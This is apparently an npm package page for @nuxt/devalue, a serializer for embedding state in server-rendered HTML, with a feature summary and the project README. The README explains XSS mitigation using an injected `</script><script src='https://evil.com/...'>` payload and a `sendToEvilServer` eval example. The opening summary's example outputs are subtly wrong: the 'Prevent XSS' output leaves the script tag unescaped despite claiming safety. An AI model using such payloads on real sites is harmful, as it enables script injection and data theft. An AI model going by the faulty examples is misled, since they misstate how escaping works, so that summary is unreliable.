What is @nuxt/devalue?
@nuxt/devalue is a JavaScript library used to serialize JavaScript values into a string that can be safely embedded in HTML. It is particularly useful for server-side rendering (SSR) in frameworks like Nuxt.js, where you need to serialize state or other data to be sent to the client.
What are @nuxt/devalue's main functionalities?
Serialize JavaScript values
This feature allows you to serialize JavaScript values into a string format that can be safely embedded in HTML. The example demonstrates serializing an object with nested arrays.
const devalue = require('@nuxt/devalue');
const obj = { foo: 'bar', baz: [1, 2, 3] };
const serialized = devalue(obj);
console.log(serialized); // Output: '{"foo":"bar","baz":[1,2,3]}'
Handle complex data structures
This feature allows you to serialize complex data structures like Date objects, regular expressions, Maps, and Sets. The example demonstrates serializing an object containing these complex types.
const devalue = require('@nuxt/devalue');
const complexObj = { date: new Date(), regex: /test/i, map: new Map([[1, 'one']]), set: new Set([1, 2, 3]) };
const serialized = devalue(complexObj);
console.log(serialized); // Output: '{"date":new Date("2023-10-04T00:00:00.000Z"),"regex":/test/i,"map":new Map([[1,"one"]]),"set":new Set([1,2,3])}'
Prevent XSS attacks
This feature ensures that serialized data is safe to embed in HTML, preventing XSS (Cross-Site Scripting) attacks. The example demonstrates serializing an object containing a potentially unsafe script tag.
const devalue = require('@nuxt/devalue');
const unsafeObj = { script: '<script>alert("XSS")</script>' };
const serialized = devalue(unsafeObj);
console.log(serialized); // Output: '{"script":"<script>alert(\"XSS\")</script>"}'
Other packages similar to @nuxt/devalue
serialize-javascript
serialize-javascript is a library that serializes JavaScript objects into a JSON-compliant string. It supports functions, dates, regexes, and more. Compared to @nuxt/devalue, serialize-javascript is more focused on JSON compliance and may not handle some complex data structures as gracefully.
json-stringify-safe
json-stringify-safe is a library that provides a safe version of JSON.stringify, handling circular references gracefully. While it doesn't offer the same level of serialization for complex data types as @nuxt/devalue, it is useful for avoiding errors with circular references.
flatted
flatted is a library that allows you to serialize and parse circular JSON structures. It is similar to @nuxt/devalue in that it can handle complex data structures, but it is specifically designed for circular references.
@nuxt/devalue
![bundle phobia](https://flat.badgen.net/bundlephobia/minzip/@nuxt/devalue)
Forked from devalue to log errors on non-serializable properties rather than throwing Error
.
Like JSON.stringify
, but handles
- cyclical references (
obj.self = obj
) - repeated references (
[value, value]
) undefined
, Infinity
, NaN
, -0
- regular expressions
- dates
Map
and Set
.toJSON()
method for non-POJOs
Try it out on runkit.com.
Goals:
Non-goals:
- Human-readable output
- Stringifying functions or arbritary non-POJOs
Usage
import devalue from '@nuxt/devalue';
let obj = { a: 1, b: 2 };
obj.c = 3;
devalue(obj);
obj.self = obj;
devalue(obj);
If devalue
encounters a function or a non-POJO, it will throw an error.
XSS mitigation
Say you're server-rendering a page and want to serialize some state, which could include user input. JSON.stringify
doesn't protect against XSS attacks:
const state = {
userinput: `</script><script src='https://evil.com/mwahaha.js'>`
};
const template = `
<script>
// NEVER DO THIS
var preloaded = ${JSON.stringify(state)};
</script>`;
Which would result in this:
<script>
var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"};
</script>
Using devalue
, we're protected against that attack:
const template = `
<script>
var preloaded = ${devalue(state)};
</script>`;
<script>
var preloaded = {userinput:"\\u003C\\u002Fscript\\u003E\\u003Cscript src=\'https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js\'\\u003E"};
</script>
This, along with the fact that devalue
bails on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by devalue
can be safely deserialized with eval
or new Function
:
const value = (0,eval)('(' + str + ')');
Other security considerations
While devalue
prevents the XSS vulnerability shown above, meaning you can use it to send data from server to client, you should not send user data from client to server using the same method. Since it has to be evaluated, an attacker that successfully submitted data that bypassed devalue
would have access to your system.
When using eval
, ensure that you call it indirectly so that the evaluated code doesn't have access to the surrounding scope:
{
const sensitiveData = 'Setec Astronomy';
eval('sendToEvilServer(sensitiveData)');
(0,eval)('sendToEvilServer(sensitiveData)');
}
Using new Function(code)
is akin to using indirect eval.
See also
License
MIT